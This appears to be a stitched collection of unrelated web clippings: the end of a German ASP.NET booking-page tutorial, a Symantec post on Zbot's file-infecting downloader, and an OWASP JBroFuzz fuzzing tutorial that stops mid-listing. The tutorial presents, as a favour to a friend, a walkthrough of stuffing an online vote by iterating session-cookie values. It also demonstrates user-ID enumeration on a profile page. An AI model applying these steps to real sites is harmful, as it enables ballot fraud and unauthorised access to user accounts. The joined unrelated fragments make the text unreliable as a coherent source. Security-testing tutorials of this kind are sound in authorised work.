    <%@ Page Title="" Language="C#" MasterPageFile="~/WWWings.master"   
        AutoEventWireup="true" CodeFile="Buchung.aspx.cs" Inherits="Buchung" %>  
       
    <asp:Content ID="Content1" ContentPlaceHolderID="C_Ueberschrift"   
        Runat="Server">  
    </asp:Content>  
    <asp:Content ID="Content2" ContentPlaceHolderID="C_Inhalt" Runat="Server">  
    </asp:Content>
[/code]

Listing 2 zeigt das fertige Layout der Detailseite. Die drei Bereiche werden
durch _< asp:Panel>_-Elemente gebildet. Die Zahl-Eingabefelder und das
Namenseingabefeld sind vom Typ _< asp:TextBox>_. Die Flughäfen kann der
Entwickler mit einem Auswahlfeld bestimmen \(_< asp:DropDownList>_\), wobei
die Auswahl "Alle" schon statisch in der ASPX-Seite als _< asp:ListItem>_
vordefiniert ist. Die Liste der Flughäfen wird dann in der Code-Behind-Seite
ergänzt – dafür sorgt _AppendDataBoundItems= "true"_. Die Schaltflächen erhält
man über _< asp:Button>_. Für die tabellarische Ausgabe von Flügen und
Passagieren kommt _< asp:GridView>_ zum Einsatz. Im _GridView_ -Steuerelement
hinterlegt der Programmierer die auszugebenden Spalten. Die erste dient der
Darstellung des Auswahl-Hyperlinks.

Bei den drei _< asp:Button>_-Steuerelementen findet der Entwickler
erwartungsgemäß in _OnClick= "..."_ einen Verweis auf den auszuführenden
Programmcode in der Hintergrundcodedatei. Aber auch _< asp:TextBox>_ und _<
asp:DropDownList>_ verweisen mit _OnTextChanged= "..."_ und
_OnSelectedIndexChanged= "..."_ die Bindung an Ereignisbehandlungsroutinen.
Der Browser löst ja nach Eingabe in die Eingabefelder normalerweise keinen
Postback zum Server aus, also das erneute Laden der gleichen Seite. ASP.NET
sorgt aber durch den Zusatz _AutoPostBack= "True"_ dafür, dass der Browser
entsprechenden JavaScript-Code erhält, der den Postback auslöst, sobald der
Benutzer das Eingabefeld verlässt. Somit kann er komfortabel Suchvorgänge
starten, ohne immer wieder auf die Suchen-Schaltflächen klicken zu müssen.

# Zbot Now Using File Infection Techniques | Symantec Connect
**Created:**| _4/22/2010 6:52:00 PM_  
---|---  
**Updated:**| _4/22/2010 6:52:18 PM_  
**Author:**| __  
**Tags:**| _botnets reversing Malware-analysis LOLZ_  
  

# Zbot Now Using File Infection Techniques

  

Takayoshi Nakayama

April 21st, 2010

**Tags:**Endpoint Protection \(AntiVirus\), Endpoint Protection Small
Business,Enterprise Security Manager, Security, Security Response

FacebookTwitter

It is well known that Trojan.Zbot was created by the ZeuS tool kit, and
recently it has added the ability to infect files to its bag of tricks. A
recently discovered Trojan.Zbot variant searches for executable files in a
predefined place and injects the executable files it finds with 512 bytes of
code. It then modifies that program's entry point so that it is at the top of
the injected code. The injected code is very simple and performs the following
actions:

  * Downloads a file from a URL embedded in the code.
  * Executes the downloaded file.
  * Executes the original code.

<img src='img/Temp2_10003.jpg' />

_Part of the injected code_

Even though antivirus products may delete the main component of the Trojan,
the code remains in the infected file, enabling the Trojan to download updates
of itself and re-infect the machine. Symantec virus definitions detect
infected files as Trojan.Zbot\!inf and repair them.

This is not the first time that we have seen this infection method.
Trojan.Downexec used the same method to infect files. Regardless, it is
obvious that Trojan.Zbot has not finished evolving and users need to stay
vigilant against infection from this Trojan.

# OWASP JBroFuzz Tutorial - OWASP

**Created:**| _3/16/2010 8:14:38 AM_  
---|---  
**Updated:**| _3/16/2010 10:46:23 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Tutorials_  
  

# OWASP JBroFuzz Tutorial

  

## Contents

  * 1 Introduction
  * 2 JBroFuzz Basic Functionality
    * 2.1 'Hello Google\!' \(forget 'Hello World'\)
    * 2.2 HTTP Version Numbers & www.cia.gov Headerless Responses
  * 3 Using JBroFuzz with Paros Proxy
    * 3.1 Winning on a Remix of the Year Award
  * 4 Performing User Enumeration with a Valid Set of Credentials
    * 4.1 Fuzzing a User ID
    * 4.2 Graphing Results
  * 5 JBroFuzz Development Corner
    * 5.1 Setting up a JBroFuzz Development Environment
      * 5.1.1 Step 1: Obtain the source code
      * 5.1.2 Step 2: Configuring a JBroFuzz Project within Eclipse
      * 5.1.3 Step 3: Building JBroFuzz
    * 5.2 How to Use JBroFuzz as a Fuzzing Library
      * 5.2.1 A HelloFuzzer Example
      * 5.2.2 Fuzzing Payload Definitions
      * 5.2.3 HelloFuzzer Refined
      * 5.2.4 Hello Database of Fuzzers
      * 5.2.5 Methods available within the Fuzzer Class
    * 5.3 Advanced Fuzzing with the JBroFuzz Library
      * 5.3.1 Fuzzing Really Long Values with Big Integer
      * 5.3.2 Using the Power Fuzzer API
      * 5.3.3 Using the Double Fuzzer API
      * 5.3.4 Using the Cross Product Fuzzer API
  * 6 Graphing with JBroFuzz
    * 6.1 Customizing the logo on each Graph

  
---  
## Introduction

 _“If you can’t fuzz with JBroFuzz, you probably do not want to fuzz\!”_

Old JBroFuzz Motto

  
The art of teaching, Mark Van Doren said, is the art of assisting discovery.
Fuzzing is a representative discipline towards assisting the discovery of
security vulnerabilities, that is just beginning to come of age. Over the last
two years, through continuous development, JBroFuzz has attempted to expose
the intrinsic beauty of the subject: Constantly submit a vast amount of
payloads to a service, device or prompt, waiting for the one response that
makes all the difference. This is the mentality that JBroFuzz embraces and
attempts to offer back to security professionals.

Fuzzing as a concept goes beyond a conventional work flow or a standard
methodology. I would argue that to know how to fuzz well, is to master a new
language. Thus, similar to the process of learning a programming \(or
foreign\) language, there are three things you must master:

• Grammar: How fuzzing as a process is structured  
• Vocabulary: How to name fuzzing concepts you want to use  
• Usage: Ways of achieving everyday effective results with fuzzing  

<img src='img/Temp2_5683.jpg' width='300' height='227' alt='JBroFuzz Splash
Screen' />

From the pre-existing information available for JBroFuzz, this tutorial
focuses on usage: How to best put a fuzzing tool to good use, either via the
UI, or using APIs that  _JBroFuzz.jar_ is constituted of. As a result, this
document has a small requirement as a caveat; you need to have a beginner
level understanding of the Java programming language in order to understand
some sections.

There are a number of working examples described here within, which **grep**
for statements such as “ _public static void main\(String\[\] args\)_ ”. The
majority of the content relates to reviewing these examples and putting the
Java syntax into a fuzzing perspective.

To summarise, this tutorial focuses on customary and effective usage of
fuzzing through the JBroFuzz Java APIs and the respective UI. It is targeting
\(without attacking them\) web applications. Without further redo, let’s get
fuzzing\!

## JBroFuzz Basic Functionality

This section carries a number of basic fuzzing examples to get you started
with JBroFuzz. Overall, even though the actions performed to not produce any
amazing fuzzing results, it serves as a starting point in understanding how to
perform particular fuzzing operations on web applications.

### 'Hello Google\!' \(forget 'Hello World'\)

As the traditional first program that you learn when indulging in a new
programming language, 'Hello World\!' represents the norm for understanding
the basic output operations and syntax \(let alone compiler and execution
behaviour\) of the language in question.

As with most web application security related tools, when I am given the
responsibility to run them, often in order to understand how they work, I
would first craft a legitimate, single request to a trusted \(to be up and
behaving\) popular Internet location. Needless, to say this request more than
on occasion finds itself on Google servers.

So 'Hello World\!' for programming languages seems to transform to 'Hello
Google\!' for understanding how web application security related tools work.
Let us see, how JBroFuzz does it.

• Double-click on JBroFuzz and browse to the 'Fuzzing' tab

JBroFuzz is constituted of tabs, typically located in the bottom or top \(if
you bother to change the settings\) of the main window.

The 'Fuzzing' tab is where you craft your request message to a particular
host. Once that is in place, you can select any part of the request and
proceed into adding any number of payloads. We shall see how in later
sections.

• In the 'URL' field type: http://www.google.com/ http://www.google.com

Unlike conventional URLs, the URL field in JBroFuzz is only used for the
underlying protocol \(HTTP or HTTPS\), host name \(e.g. www.yahoo.com\) and
\(optionally\) port number.

All remaining information pasted or typed into the 'URL' field will be
ignored; you are expected to enter it in the 'Request' field below.

Still, if you want to just copy-paste a URL from a browser, hit \[Ctrl+L\]
while you are not fuzzing, paste the URL value that you have copied from a
browser and JBroFuzz will automatically do the work for you.

Examples of valid URL values to be put in the

Treat the 'URL' and 'Request' fields as the two stages of a 'telnet' session
on port 80; you are effectively using the 'URL' field to specify the
equivalent of:

`>telnet www.google.com 8088`

As equivalent to:

`http://www.google.com:8088  
`

or in the case of HTTPS:

`https://www.google.com:8088  
`

Naturally, default ports for HTTP is 80 and HTTPS is 443.

• In the 'Request' field type:

`GET / HTTP/1.0  
  
`

And press 'Enter' twice

This is where the body of the message you are sending is to be placed. So
anything obeying HTTP/S protocol, such as GET and POST requests, header fields
and/or HTML content should be included here.

As part of the process of fuzzing web applications with JBroFuzz you need to
have done your homework, in terms of providing a base request message. This
message is what will be used later on to add payloads to particular sections
of the request.

• Hit 'Start' \[Ctrl+Enter\]

This will instigate the process of sending a single request to the specified
host on a given \(or default\) port, over HTTP or HTTPS.

Once a connection has been established JBroFuzz will proceed to submit the
message you have typed into the 'Request' field.

Finally, JBroFuzz will log all data sent and received into a file; accessing
this file is typically a process of double clicking on the output line on the
table at the bottom section of the 'Fuzzing' tab.

You should see a response received in the bottom part of the 'Fuzzing' panel.
Double click \(or right click for more options\) to see the information
exchanged; typically this would be a 302 redirect pointing you to another
location. Congratulations, you have just said "Hello" to Google\!

<img src='img/Temp2_5688.jpg' width='500' height='278' alt='JBroFuzz Hello
Google!' />

Now this would typically be enough under RFC rules, to get a response back;
but damn all the bots out here, most websites require further information to
respond back. So, in the 'Request' field let's pretend to be a \(kind of\)
legitimate browser by typing:

`GET / HTTP/1.0  
Host: www.google.com  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.10)
Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729) JBroFuzz/1.5  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-
Language: en-gb,en;q=0.5Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
  
`

Not forgetting to end the request typed with two returns: Press 'Enter' twice.
Again, you should be able to see a line added with the response received back.

Practice sending single requests to a website of your choice by changing the
URL and also the 'Host:' field from the 'Request' above. Also try accessing an
HTTPS website.

Alternatively, you can use the shortcut \[Ctrl+L\] to type in your URL, with
the 'Request' field filled automatically, based on the URL you have typed.  

### HTTP Version Numbers & www.cia.gov Headerless Responses

For web applications, very often ill-defined requests submitted over the
Internet, will trigger semi-legitimate responses that actually do not obey
HTTP RFC protocol specification. Often, even though this is not the case in
this example, these responses can lead to the identification of one or more
security vulnerabilities.

In this example we test for the responses received for invalid HTTP version
numbers on a particular website, namely www.cia.gov, over https. Now a word of
caution here; please do not attempt to fuzz web applications that you do not
have the authority to do so, especially over the Internet.

Still, for the purposes of this tutorial exercise, we will subject a web
server to no more than a dozen or so requests. These requests would be
otherwise identical, if it was not for the HTTP version number incrementing by
a value of 1 on each request.

In terms of having the authority to do so, well this is identical to hitting
'Refresh' in your web browser a dozen or so times, while you are browsing to
www.cia.gov. I do not consider this remotely close to any form of hacking,
cracking, or proper fuzzing; web servers across the globe receive a lot more
abuse than this on a daily basis.

Finally, by the time you are reading this, the particular issue described
might have been fixed. So here goes:

• Within JBroFuzz, select:

`File -> Open Location [Ctrl+L]  
`

Type: https://www.cia.gov and hit enter. This is depicted in the following
screenshot:

<img src='img/Temp2_5685.jpg' width='340' height='180' alt='JBroFuzz Open
Location' />

Hitting 'Enter' should automatically populate the 'URL' field and the
'Request' field within the 'Fuzzing' tab. What you see is the base request
that we intend to add fuzzing payloads to. Before we do so, let us make one
small alteration first:

• Modify the first line of the 'Request' field to:

`GET / HTTP/0.0  
`

Our objective is to enumerate the supported by the web server \(in this case
www.cia.gov\) HTTP version numbers, following the two digit format that it
has. We could be a lot more agressive here and test for buffer overflows and
all types of injection; that would be out of line without the authority to do
so. Instead we are going to see how JBroFuzz will iterate through the values
of 0.0 to 1.4 by means of adding a Fuzzer to our base request.

• Highlight the second zero from the line 'GET / HTTP/0.0' and right-click,
selecting 'Add'. This is depicted in the screeshot below:

<img src='img/Temp2_5686.jpg' width='400' height='222' alt='Adding a Fuzzer to
the HTTP version number' />

• From the appearing 'Add a Fuzzer' window, select as 'Category Name', in the
most left column 'Base' and as 'Fuzzer Name' in the middle column 'Base 10
\(Decimal\) Alphabet.

• Click on 'Add Fuzzer' on the bottom right of the window

<img src='img/Temp2_5695.jpg' width='400' height='235' alt='Adding a Fuzzer'
/>

This should add a Fuzzer of length 1 that iterates over the decimal \(i.e.
base 10\) numbers 0 to 9. If we have added a hexadecimal Fuzzer instead of a
decimal one \(i.e. base 16\) the iteration would from 0 to F. If we had
selected two digits instead of one and proceeded to add a decimal Fuzzer, the
iteration would be from:

`00  
01  
..  
98  
99  
`

From a User Interface \(UI\) perspective you should see a line added to the
'Added Payloads Table'.

• Click 'Start' \[Ctrl+Enter\]

This process will send 10 requests to the specified web server changing only
first line of the request to:

`GET / HTTP/0.0...  
GET / HTTP/0.1...  
...  
GET / HTTP/0.8...  
GET / HTTP/0.9...  
`

While this is ongoing, you can sort the results by 'No' in the 'Output' table
in the bottom of the 'Fuzzing' tab. This should enable you to see what request
is currently being transmitted and received in real time.

Once complete, change the first line of the 'Request' field to read:

`GET / HTTP/1.0  
`

• Click 'Start' \[Ctrl+Enter\]

The resulting output should resemble the following screenshot:

<img src='img/Temp2_5693.jpg' width='500' height='278' alt='JBroFuzz Output
from a Fuzzing Session' />

Straight away we can notice a difference in the response size: For HTTP
version numbers 0.0 to 0.9 we are getting back what seems fairly big in size
responses; 32222 bytes in size worth of responses, given that HTTP protocol
version 0.0 to 0.8 do not officially exist\!

By double-clicking on one of these requests, we can see that the web server in
question is responding back with no headers, yet returning a full HTML body;
this represents the 32222 bytes of response of data we are receiving back. The
following screenshot illustrates this:

<img src='img/Temp2_5687.jpg' width='300' height='286' alt='JBroFuzz Output
for a Single Request/Response' />

Using the 'Graphing' tab we can proceed to graph the particular requests and
responses for this given session.

• Within the 'Graphing' tab, click 'Start' \[Ctrl+Enter\].

• Select the directory corresponding to the Output folder we have used for
this fuzzing session. This will typically be the last one.

• Right-click and select 'Graph'

Once complete, browse to the 'Response Size' tab within the 'Graphing' tab, as
illustrated in the screenshot below:

<img src='img/Temp2_5694.jpg' width='300' height='167' alt='JBroFuzz Graphing
different 'Response Sizes'' />

To re-iterate this does not present a security vulnerability in any shape or
form; merely the fact that by manipulating HTTP version numbers as part of the
request we transmit, we can impact the response that we get back. In this
case, what changes is the non-existent header fields, with some HTML content
being received back.

If I was to guess what is causing this, I would say that some sort of load
balancing or content delivery is not happening as it should when non-existent
version numbers are being transmitted.

## Using JBroFuzz with Paros Proxy

JBroFuzz is a standalone fuzzer; it can release and create sockets over HTTP
and HTTPS, but in order to use JBroFuzz correctly you will have to know what
it is that you are fuzzing.

In comes the need for a proxy tool; the opening versions of JBroFuzz actually
had a proxy tab that you could use to intercept traffic generated by your web
browser. That functionality got removed in an attempt to focus and deliver
solely on the fuzzing capabilities of the tool.

This section details how to use JBroFuzz in combination with a client side
proxy. The one selected is Paros Proxy, which, despite the fact that it hasn't
been updated since 2006 is still a popular tool that you see in web security
testing live CDs. You could use any of the other proxy tools available.

### Winning on a Remix of the Year Award

At 17:53, on a frosty winter evening, a message window popped up:

[code]

    17:53 http://www.localhost.com/remixcontest/club/annual2010.html
    17:53 Hey bro, could you cast in a vote here for the Such & Such Remix?
    17:53 Appreciated!
    
    
[/code]

A friend in need is a friend indeed, so here goes I thought. Opening up a web
browser configured to work with Paros as an intermediate proxy, allowed for
the casting of my vote. while keeping a record of each request and reply.

No registration, or any other form of submitting an identifier was needed. The
request that Paros stored for the casting of the actual vote was:

[code]

    GET http://www.localhost.com/remixcontest/club/vote.php?onLoad=%5Btype%20Method%5D&id=55 HTTP/1.1
    Host: www.localhost.com
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729) Paros/3.2.13
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-gb,en;q=0.5
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Proxy-Connection: keep-alive
    Cookie: PHPSESSID=ab6afb883dbgf8084f6dcf1eafdb225e
    
    
[/code]

Paros Proxy actually places the domain \(in this case www.localhost.com\) with
the protocol \(i.e. http\) in front of the GET request. As a result, you can't
open a telnet/netcat session and just copy-paste the above. Similarly when we
bring the request into JBroFuzz, a bit of tweaking is required.

  * In the URL field, type:

[code]

    http://www.localhost.com
    
    
[/code]

In the Request field, let's keep what is of interest:

[code]

    GET /remixcontest/club/vote.php?onLoad=%5Btype%20Method%5D&id=55 HTTP/1.0
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-gb,en;q=0.5
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Cookie: PHPSESSID=ab6afb883dbgf8084f6dcf1eafdb225e
    
    
[/code]

No needs for Keep-Alive and Proxy-Connection. Let's simplify the HTTP request
by making it a version 1.0 request and getting rid of the Host header as well.
Also on the user agent, let us keep that mainstream vanilla: Firefox on
Windows \(popular browser combination\), getting rid of the .NET and Paros
additives.

Checking on the website, our Such & Such remix already has about 100 votes or
so and the top remix has approximately 310 votes. Let's fuzz this:

  * Select 2 of the digits of the cookie value:

[code]

    PHPSESSID=ab6afb883dbgf8084f6dcf1eafdb225e
    
    
[/code]

  * Select: Panel -> Add

  * In the "Add a Fuzzer" panel, select:

[code]

    Base -> Base16 (HEX)
    
    
[/code]

and select "Add Fuzzer".

This will add a line within the Payloads tab on the right hand side.

Our cookie value above \(PHPSESSID=ab6afb883dbgf8084f6dcf1eafdb225e\) is in
lowercase, hexadecimal format. Let's make sure the encoding we select is also
that.

Within the Payloads tab, click on the encoding drop down menu and select
lowercase. Just before clicking "Start", JBroFuzz should look something like
the screenshot below.

<img src='img/Temp2_5692.jpg' width='761' height='450' alt='Adding Votes by
iterating through PHPSESSID cookie values' />

## Performing User Enumeration with a Valid Set of Credentials

Often you encounter an application that allows for the enumeration of one or
more pages after a user has been successfully granted a set of session
credentials. One of the key areas to test from an application specific
perspective, relates to the page\(s\) that provide user account information.

In the following example, we investigate an ASP.NET 2.0 application with a C\#
back-end. In this, an authenticated user has the option to select to "View My
Profile". This page provides them with account information \(including the
typical username, email address, further notes\) that they can proceed to
update and save to the back-end system.

After a user has authenticated, the following URL, gives them access to their
profile information stored on the database:

[code]

    http://www.myattackingdomain.com/portal-location/UserInfo.aspx?UserID=23
    
    
[/code]

Simple investigation confirms that the digits allowed as part of the UserID
value are decimal numbers only. Lets feed that information into JBroFuzz.

### Fuzzing a User ID

• Within JBroFuzz, select:

`File -> Open Location [Ctrl+L]  
`

Type: http://www.myattackingdomain.com/portal-location/UserInfo.aspx?UserID=23
and hit enter. This is depicted in the following screenshot:

<img src='img/Temp2_5681.jpg' width='300' height='210' alt='JBroFuzz 'GET'
Request with a 'UserID' parameter' />

From the URL the important parameter is the value of the UserID query string
\(the value 23, above\). We want to fuzz that.

• Within the Fuzzing Tab, in the "Request" text area, highlight the above
number 23 • Right-click and select "Add"

In the "Add a Fuzzer" window that appears, select:

• Category Name: `Base` • Fuzzer Name: `Base10 (DEC)` • Select "Add Fuzzer" in
the bottom right

This would have added a decimal \(base 10 fuzzer\) of length 2 onto the
location.

• You will see a row added within the "Added Fuzzers Table" of the Fuzzing
panel. • Click "Start" `Ctrl+Enter`

This will transmit 100 requests to the domain in question, which in this case
is assumed: www.myattackingdomain.com. The value being changed within each
request will be:

[code]

    • GET /portal-location/UserInfo.aspx?UserID=00 HTTP/1.0
    • GET /portal-location/UserInfo.aspx?UserID=01 HTTP/1.0
    ...
    • GET /portal-location/UserInfo.aspx?UserID=98 HTTP/1.0
    • GET /portal-location/UserInfo.aspx?UserID=99 HTTP/1.0
    
    
[/code]

Done. Let's proceed to graph the responses that we have obtained. Our
objective is to understand which two-digit numbers from 00 to 99 correspond to
valid user accounts.

### Graphing Results

• Within the "Graphing" tab, click "Start" `Ctrl+Enter`

A list of directories will appear on the left-hand side. If you scroll to the
bottom of the list you should see the directory corresponding to your fuzzing
session, in our case it was \(175 2009-06-24 16-18-24\)

[code]

    • Right-click on (175 2009-06-24 16-18-24)
    • Click "Graph"
    
    
[/code]

This will generate the graphs in their respective tabs. The question now
becomes which graph is of interest for our user enumeration exercise.

By definition enumerating users against an ID value, or any other identifier
involves being able to obtain a different response for an existing user to
that of a user that is not have a corresponding ID value.

Thus, from the metrics available, the one useful for enumerating users will be
that of measuring the "Hamming Distance" between responses received. Based on
the JBroFuzz documentation:

**Fuzzing Hamming Distance**

[code]

    A bar chart with the hamming distance of the characters in the response, 
    relative to the first response received. Check each character of the first
    response received, against the character at the same position of the
    current response received. If they are not identical, increment the 
    hamming distance.
    
    
[/code]

As we can see the Fuzzing Hamming Distance \(FHD\) varies quite a bit from the
definition of the normal hamming distance term, used in telecommunications.
Still, they share a lot of similarities.

As we can from the above, the first request is critical to calibrating our
user enumeration exercise. It represents the value that all other Fuzzing
Hamming Distances \(FHD\) will be measured and normalised towards. For the
java-skilled audience, the algorithm is quite trivial, but offers spectacular
results in distinguishing responses:

[code]

    in = new BufferedReader(new FileReader(f));
       58 
       59                   int counter = 0;
       60                   int check = 0;
       61                   int c;
       62                   while (((c = in.read()) > 0) && (counter < MAX_CHARS)) {
       63 
       64                           // If we are passed "--jbrofuzz-->\n" in the file
       65                           if (check == END_SIGNATURE.length()) {
       66 
       67                                   firstSet.append((char) c);
       68 
       69                           }
       70                           // Else find "--jbrofuzz-->\n" using a counter
       71                           else {
       72                                   // Increment the counter for each success
       73                                   if (c == END_SIGNATURE.charAt(check)) {
       74                                           check++;
       75                                   } else {
       76                                           check = 0;
       77                                   }
       78                           }
       79 
       80                           counter++;
       81 
       82                   }
       83                   in.close();
    
    
[/code]

Ergo, the corresponding graph is depicted in the screenshot below. The peak
graphs correspond to number that if you hover the mouse over will give you the
enumeration ID of a valid user.

<img src='img/Temp2_5689.jpg' width='500' height='278' alt='Measuring Hamming
Distance for User Enumeration' />

## JBroFuzz Development Corner

This section presents how to setup and use JBroFuzz as a fuzzing library.
Also, it offers an insight in how to setup and compile your own version of
JBroFuzz. As different people have different levels of expertise of the java
programming language, eclipse, ant and subversion, some of the steps presented
herein might be considered basic by advanced developers.

### Setting up a JBroFuzz Development Environment

This section guides you towards setting up a development environment for
JBroFuzz. Despite the Operating System \(O/S\) being windows XP, a similar
process can be followed in a number of other O/S.

You will need to have installed:

  * Tortoise SVN \(using TortoiseSVN-1.6.6.17493-win32-svn-1.6.6.msi\)
  * Eclipse Java \(using eclipse-java-galileo-SR1-win32.zip\)

Optionally, if you don't like building your application through eclipse you
could also require to install Apache Ant.

#### Step 1: Obtain the source code

JBroFuzz uses SubVersion with the repository being publicly available for
download through anonymous access on sourceforge. There is a plan to move it
the source to the OWASP Git repository, but until then, use the guidelines
below.

<img src='img/Temp2_5690.jpg' width='460' height='348' alt='Tortoise SVN Check
out JBroFuzz Source Code' />

Right click on the folder location where you want to download the source code
and select:

  * SVN Checkout

In the "URL of repository", enter:

[code]

    https://jbrofuzz.svn.sourceforge.net/svnroot/jbrofuzz
    
    
[/code]

In the "Checkout directory", enter the folder location of your choice, in this
case:

[code]

    C:\root\code\jbrofuzz
    
    
[/code]

In the "Checkout Depth" select:

  * Fully recursive

Untick "Omit Externals" \(should be unticked by default\)

In the "Revision" select:

  * "Head revision"

Select OK.

This process, once complete will checkout the entirety of the JBroFuzz source
code from the SVN repository on sourceforge.

#### Step 2: Configuring a JBroFuzz Project within Eclipse

Having obtained the latest copy of the source code, the next step entails
importing that source code within the Eclipse IDE.

Within Eclipse, select:

[code]

    File -> New -> Other
    
    
[/code]

From the "New" panel that appears, select:

[code]

    Java -> Java Project from Existig Ant Buildfile
    
    
[/code]

<img src='img/Temp2_5682.jpg' width='498' height='498' alt='Import JBroFuzz
Code into Eclipse from Ant File' />

Select "Next".

In the next menu, under "Ant buildfile", select "Browse".

Browse to the location where you have just \(step 1\) downloaded the source
code and select the following file:

  * build.xml

The build.xml file is an Ant build file that JBroFuzz uses.

<img src='img/Temp2_5691.jpg' width='560' height='406' alt='Select the Ant
File' />

Selecting that file should have populated the "Project name" as jbrofuzz and
also given you:

  

[code]

    "javac" task found in target "compile"
    
    
[/code]

MAKE SURE TO TICK:

  * "Link to the buildfile in the filesystem"

Otherwise eclipse will try to replicate the source code within your workspace
and that makes the process a tiny bit more complicated when it comes to
actually building JBroFuzz.

Click "Finish"

You will see the item "Building workspace \(76%\) on the bottom right hand
side of Eclipse. Once that is complete, you should see the jbrofuzz project on
the top left corner of the Package Explorer within Eclipse.

#### Step 3: Building JBroFuzz

Within the Package Explorer, expand the jbrofuzz project and double-click on
the build.xml file.

Right click on the "build \[default\]" task within the "Outline" window
\(typically seen on the right hand side\) and select:

[code]

    Run As -> 1. Ant Build [Alt+Shift+X, Q]
    
    
[/code]

If the build has been successful, a JBroFuzz.jar file within the the /jar
folder would have been created. Following the path conventions above that
should be in:

[code]

    C:\root\code\jbrofuzz\jar\JBroFuzz.jar
    
    
[/code]

<img src='img/Temp2_5684.jpg' width='1280' height='892' alt='Building JBroFuzz
within Eclipse' />

### How to Use JBroFuzz as a Fuzzing Library

Quite often what you need to do in terms of fuzzing, far exceeds the User
Interface \(UI\) of JBroFuzz. For this reason, a set of core fuzzing APIs have
been made available that can be used for more advanced fuzzing scenarios.

The JBroFuzz.jar standalone archive \(made available with every release\)
carries a core fuzzing library that holds a number of key classes. These are
located under:

[code]

    org.owasp.jbrofuzz.core.*;
    -Database.java
    -Fuzzer.java
    -FuzzerBigInteger.java
    -NoSuchFuzzerException.java
    -Prototype.java
    
    
[/code]

The class of importance is Fuzzer.java. If you are going to use recursive
iterators of great length, there is also FuzzerBigInteger.java. The difference
between the two is that Fuzzer.java uses the primitive java data type long
\(up to 16^16 values\) while FuzzerBigInteger.java uses java BigInteger to
perform the counting. Naturally, the class FuzzerBigInteger is slower and
takes more memory than the Fuzzer class.

Within JBroFuzz a Fuzzer is an instance of a java Iterator. This implies that
values can be accessed by simply calling the `next()` method once an object
has been made available. Typically, a call to `hasNext()` should also be
performed prior to avoid an exception being thrown.

A Fuzzer can be obtained from the factory method `createFuzzer(String, int);`
available for every instance of the fuzzing Database. Ergo:

#### A HelloFuzzer Example

[code]

    Database myDatabase = new Database();
    
    Fuzzer myFuzzer = myDatabase.createFuzzer("031-B16-HEX", 5);
    
    
[/code]

So how do I use the API? Here is a simple HelloFuzzer \(file called
HelloFuzzer.java\) example:

[code]

    import org.owasp.jbrofuzz.core.*;
    
    public class HelloFuzzer {
    
     public static void main(String[] args) {
    
     Database fuzzDB = new Database();
    
     try {
         for(Fuzzer f = fuzzDB.createFuzzer("031-B16-HEX", 4); f.hasNext();) {
           // Get the next payload value...
           System.out.println(" The fuzzer payload is: " + f.next());
         }
       } catch (NoSuchFuzzerException e) {
           System.out.println("Could not find fuzzer " + e.getMessage());
     }
    
     }
    
    } // HelloFuzzer.java OWASP JBroFuzz Example 1
    
    
[/code]

To compile the above use:

[code]

    javac -classpath ".\jbrofuzz\jar\JBroFuzz.jar" HelloFuzzer.java
    
    
[/code]

This assumes that you are currently inside the directory where
HelloFuzzer.java resides and that the JBroFuzz.jar is located two directories
within your current location i.e. in jbrofuzz/jar. In order to run the above
compiled HelloFuzzer class issue:

[code]

    java -cp ".\jbrofuzz\jar\JBroFuzz.jar;." HelloFuzzer
    
    
[/code]

Note: The above 2 commands have been crafted in a win32 environment. The
process for compiling and running HelloFuzzer.java above is the same in \*nix
machines. Simply replace the backslash "\" with "/".

#### Fuzzing Payload Definitions

Within the JBroFuzz.jar file, there is a file called fuzzers.jbrf that carries
all the fuzzer definitions that you see in the UI payloads tab of JBroFuzz. To
view a latest copy of this file you can browse the SVN repository of JBroFuzz:

[code]

    http://jbrofuzz.svn.sourceforge.net/viewvc/jbrofuzz/tar/fuzzers.jbrf?view=log
    
    
[/code]

A note here worth mentioning: Files ending in .jbrofuzz are session files
saved by users while performing fuzzing operations. Files ending in .jbrf are
JBroFuzz system files. Typical examples of .jbrf files are headers.jbrf, as
well as fuzzers.jbrf. Both these use an internal proprietary format not to be
confused with the .jbrofuzz file format.

Fuzzers belong in categories \(1 to many\) and each fuzzer carries a set of
payloads that define the alphabet of the fuzzer.

Also, you have replacive and recursive fuzzers, zero fuzzers, etc. There are a
number of different fuzzer categories. As an example of a fuzzer within the
fuzzers.jbrf file, consider the hexadecimal fuzzer:

[code]

    Fuzzer Name: Base16 (HEX)
    Fuzzer Type: Recursive
    Fuzzer Id:   031-B16-HEX
    
    Total Number of Payloads: 16
    
    
[/code]

Within the fuzzers.jbrf file this fuzzer is defined in plain-text format as
follows:

[code]

    R:031-B16-HEX:Base16 (HEX):16
    > Number Systems | Base | Recursive Fuzzers
    0
    1
    2
    3
    4
    5
    6
    7
    8
    9
    a
    b
    c
    d
    e
    f
    
    
[/code]

  
There is very little preventing you from defining your own fuzzers within this
file, by following the file format specified above. You can use the UI to see
if they have been loaded successfully.

Further to recursive and replacive fuzzers you also have zero fuzzers \(i.e. a
zero fuzzer of 1000 will just transmit 1000 requests as they are, without
adding any payloads\) double fuzzers, cross product fuzzers, etc.

Notice the factory method Database.createFuzzer\("031-B16-HEX", 4\) yielding:
"I want a 4 digit recursive fuzzer \(why because NUM-HEX is recursive in its
definition, starts with R: instead of P:\) of HEX digits."

Thus the above scenario would iterate through all the digits from 0000 to
ffff. I wouldn't recommend using the above scenario for such trivial fuzzing
capabilities; simply presented as an example of the inner workings of
JBroFuzz.jar

#### HelloFuzzer Refined

A more detailed code breakdown of the above HelloFuzzer example can be found
below:

[code]

    /**
     * JBroFuzz API Examples 01
     *
     * JBroFuzz - A stateless network protocol fuzzer for web applications.
     * 
